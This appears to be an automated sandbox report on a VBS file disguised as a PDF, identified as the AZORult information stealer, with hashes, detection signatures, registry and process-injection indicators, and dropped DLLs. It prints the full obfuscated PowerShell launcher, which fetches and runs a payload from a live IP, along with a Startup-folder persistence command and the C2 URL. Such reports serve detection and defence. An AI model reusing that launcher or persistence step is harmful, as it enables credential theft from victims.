Analysis
- max time kernel
145s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20220414-en - submitted
19/05/2022, 11:22
Static task
static1
Behavioral task
behavioral1
Sample
6200_921_pdf.vbs
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
6200_921_pdf.vbs
Resource
win10v2004-20220414-en
General
- Target 6200_921_pdf.vbs
- Size 3KB
- Sample220519-ngq39shegr
- SHA256 a9b4cf66af0cef2235b5e50e71ecc7b9b3f0576d33d0666acbfacf48aff810e3
- MD5 e00efaa883bcaacef6d6b75b289fd067
- SHA1 bdfbff6bfd9c67c7290e5ed21dfe97d90302b9cb
- SHA512 b8c57aac388320e2d623373817bf00d8b436a8b0e21e64d8ab88577d6de54ee20b026c2af87b031a574be6de164df4e76f5d6c9733074d1b82860d500f01ab87
- MD5 SHA1 SHA512
Malware Config
Extracted
-
azorult
-
http://46.183.223.118/chido/Panel/index.php
Signatures
- Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
- suricata: ET MALWARE AZORult v3.2 Server Response M3
suricata: ET MALWARE AZORult v3.2 Server Response M3
- suricata: ET MALWARE Win32/AZORult V3.2 Client Checkin M14
suricata: ET MALWARE Win32/AZORult V3.2 Client Checkin M14
- Blocklisted process makes network request 2 IoCs
flow pid Process 4 2384 WScript.exe 7 912 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation WScript.exe - Loads dropped DLL 6 IoCs
pid Process 912 powershell.exe 912 powershell.exe 4400 aspnet_compiler.exe 4400 aspnet_compiler.exe 4400 aspnet_compiler.exe 4400 aspnet_compiler.exe - Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook aspnet_compiler.exe Key opened \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook aspnet_compiler.exe Key opened \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook aspnet_compiler.exe - Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 912 set thread context of 4400 912 powershell.exe 86 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 aspnet_compiler.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString aspnet_compiler.exe - Delays execution with timeout.exe 1 IoCs
pid Process 1116 timeout.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 912 powershell.exe 912 powershell.exe 4400 aspnet_compiler.exe 4400 aspnet_compiler.exe - Suspicious behavior: RenamesItself 1 IoCs
pid Process 1424 cmd.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 912 powershell.exe Token: SeIncreaseQuotaPrivilege 912 powershell.exe Token: SeSecurityPrivilege 912 powershell.exe Token: SeTakeOwnershipPrivilege 912 powershell.exe Token: SeLoadDriverPrivilege 912 powershell.exe Token: SeSystemProfilePrivilege 912 powershell.exe Token: SeSystemtimePrivilege 912 powershell.exe Token: SeProfSingleProcessPrivilege 912 powershell.exe Token: SeIncBasePriorityPrivilege 912 powershell.exe Token: SeCreatePagefilePrivilege 912 powershell.exe Token: SeBackupPrivilege 912 powershell.exe Token: SeRestorePrivilege 912 powershell.exe Token: SeShutdownPrivilege 912 powershell.exe Token: SeDebugPrivilege 912 powershell.exe Token: SeSystemEnvironmentPrivilege 912 powershell.exe Token: SeRemoteShutdownPrivilege 912 powershell.exe Token: SeUndockPrivilege 912 powershell.exe Token: SeManageVolumePrivilege 912 powershell.exe Token: 33 912 powershell.exe Token: 34 912 powershell.exe Token: 35 912 powershell.exe Token: 36 912 powershell.exe Token: SeIncreaseQuotaPrivilege 912 powershell.exe Token: SeSecurityPrivilege 912 powershell.exe Token: SeTakeOwnershipPrivilege 912 powershell.exe Token: SeLoadDriverPrivilege 912 powershell.exe Token: SeSystemProfilePrivilege 912 powershell.exe Token: SeSystemtimePrivilege 912 powershell.exe Token: SeProfSingleProcessPrivilege 912 powershell.exe Token: SeIncBasePriorityPrivilege 912 powershell.exe Token: SeCreatePagefilePrivilege 912 powershell.exe Token: SeBackupPrivilege 912 powershell.exe Token: SeRestorePrivilege 912 powershell.exe Token: SeShutdownPrivilege 912 powershell.exe Token: SeDebugPrivilege 912 powershell.exe Token: SeSystemEnvironmentPrivilege 912 powershell.exe Token: SeRemoteShutdownPrivilege 912 powershell.exe Token: SeUndockPrivilege 912 powershell.exe Token: SeManageVolumePrivilege 912 powershell.exe Token: 33 912 powershell.exe Token: 34 912 powershell.exe Token: 35 912 powershell.exe Token: 36 912 powershell.exe - Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 2384 wrote to memory of 912 2384 WScript.exe 82 PID 2384 wrote to memory of 912 2384 WScript.exe 82 PID 2384 wrote to memory of 1424 2384 WScript.exe 84 PID 2384 wrote to memory of 1424 2384 WScript.exe 84 PID 912 wrote to memory of 4400 912 powershell.exe 86 PID 912 wrote to memory of 4400 912 powershell.exe 86 PID 912 wrote to memory of 4400 912 powershell.exe 86 PID 912 wrote to memory of 4400 912 powershell.exe 86 PID 912 wrote to memory of 4400 912 powershell.exe 86 PID 912 wrote to memory of 4400 912 powershell.exe 86 PID 912 wrote to memory of 4400 912 powershell.exe 86 PID 912 wrote to memory of 4400 912 powershell.exe 86 PID 912 wrote to memory of 4400 912 powershell.exe 86 PID 4400 wrote to memory of 3932 4400 aspnet_compiler.exe 87 PID 4400 wrote to memory of 3932 4400 aspnet_compiler.exe 87 PID 4400 wrote to memory of 3932 4400 aspnet_compiler.exe 87 PID 3932 wrote to memory of 1116 3932 cmd.exe 89 PID 3932 wrote to memory of 1116 3932 cmd.exe 89 PID 3932 wrote to memory of 1116 3932 cmd.exe 89 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook aspnet_compiler.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook aspnet_compiler.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6200_921_pdf.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2384 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01010000,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,00110001,00111000,00110101,00101110,00110010,00111001,00101110,00111000,00101110,00110001,00110001,00110100,00101111,01100011,01101000,01101001,01100100,01101111,00101111,01000101,01101110,01100011,01110010,01111001,01110000,01110100,01100101,01100100,01000011,01101100,01101001,01100101,01101110,01110100,00111000,00111000,00110010,00110000,00110001,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01010000) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };P([system.String]::Join('', $gf))2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:912 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:4400 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "aspnet_compiler.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Windows\SysWOW64\timeout.exeC:\Windows\system32\timeout.exe 35⤵
- Delays execution with timeout.exe
PID:1116
-
-
-
-
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c move "C:\Users\Admin\AppData\Local\Temp\6200_921_pdf.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"2⤵
- Suspicious behavior: RenamesItself
PID:1424
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\2fda\mozglue.dll
- Size 135KB
- SHA256 830533bb569594ec2f7c07896b90225006b90a9af108f49d6fb6bebd02428b2d
- MD5 9e682f1eb98a9d41468fc3e50f907635
- SHA1 85e0ceca36f657ddf6547aa0744f0855a27527ee
- SHA512 230230722d61ac1089fabf3f2decfa04f9296498f8e2a2a49b1527797dca67b5a11ab8656f04087acadf873fa8976400d57c77c404eba4aff89d92b9986f32ed
- SSDEEP 3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\2fda\msvcp140.dll
- Size 429KB
- SHA256 334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4
- MD5 109f0f02fd37c84bfc7508d4227d7ed5
- SHA1 ef7420141bb15ac334d3964082361a460bfdb975
- SHA512 46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39
- SSDEEP 12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\2fda\nss3.dll
- Size 1.2MB
- SHA256 f0e6210d4a0d48c7908d8d1c270449c91eb4523e312a61256833bfeaf699abfb
- MD5 556ea09421a0f74d31c4c0a89a70dc23
- SHA1 f739ba9b548ee64b13eb434a3130406d23f836e3
- SHA512 2481fc80dffa8922569552c3c3ebaef8d0341b80427447a14b291ec39ea62ab9c05a75e85eef5ea7f857488cab1463c18586f9b076e2958c5a314e459045ede2
- SSDEEP 24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\2fda\vcruntime140.dll
- Size 81KB
- SHA256 c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d
- MD5 7587bf9cb4147022cd5681b015183046
- SHA1 f2106306a8f6f0da5afb7fc765cfa0757ad5a628
- SHA512 0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f
- SSDEEP 1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\3f8b3fda-7c61-4ab4-930f-214c6ca10432\AgileDotNetRT64.dll
- Size 75KB
- SHA256 adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
- MD5 42b2c266e49a3acd346b91e3b0e638c0
- SHA1 2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
- SHA512 770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
- SSDEEP 1536:mXvHWEbJMwk3HwGTc/1dbJ5xUSns9Ymi5j:ovHsTTI1xUSns9YmEj
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\ac0a83c9-940b-4ffc-8fb9-5eb938a1d618\AgileDotNetRT64.dll
- Size 75KB
- SHA256 adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
- MD5 42b2c266e49a3acd346b91e3b0e638c0
- SHA1 2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
- SHA512 770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
- SSDEEP 1536:mXvHWEbJMwk3HwGTc/1dbJ5xUSns9Ymi5j:ovHsTTI1xUSns9YmEj
- MD5 SHA1 SHA512 SSDEEP